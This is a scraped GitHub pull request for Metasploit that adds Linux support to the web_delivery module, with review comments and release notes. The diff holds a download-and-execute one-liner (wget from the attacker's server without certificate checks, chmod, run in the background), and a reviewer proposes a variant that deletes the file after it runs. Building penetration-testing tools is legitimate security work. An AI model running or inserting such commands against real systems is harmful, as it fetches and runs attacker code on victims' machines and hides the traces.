-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add support for Linux and pubprn.vbs to multi/script/web_delivery #11205
Conversation
@@ -114,6 +118,9 @@ def primer | |||
when 'PSH (Binary)' | |||
psh = gen_psh("#{get_uri}", "download") | |||
print_line("#{psh}") | |||
when 'Linux' | |||
fname = Rex::Text.rand_text_alphanumeric 8 | |||
print_line "wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}&" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be a good idea to delete the file after it's run?
Implementation:
print_line "wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}&; rm ./#{fname}"
@msjenkins-r7 test this please. |
Did this not work for some reason? |
It should work, in so far as I tested it, although it won't delete the file after execution. There's plenty of room for improvement - such as using the command stager libs to build a valid series of commands (complete with encoding and cleanup) rather than hard-coding the commands - but this module is a mess and I'm not interested in making further changes. |
Works for me, thank you! |
Release NotesThe multi/script/web_delivery module now has support for Linux. |
Someone was recently asking on Slack about getting a session via a web shell.
The
web_delivery
module mostly achieved their goals, however the module is largely focused on Windows / Powershell, with support forphp
andpython
platforms.This PR adds support for Linux too, because why not.
Here's the log: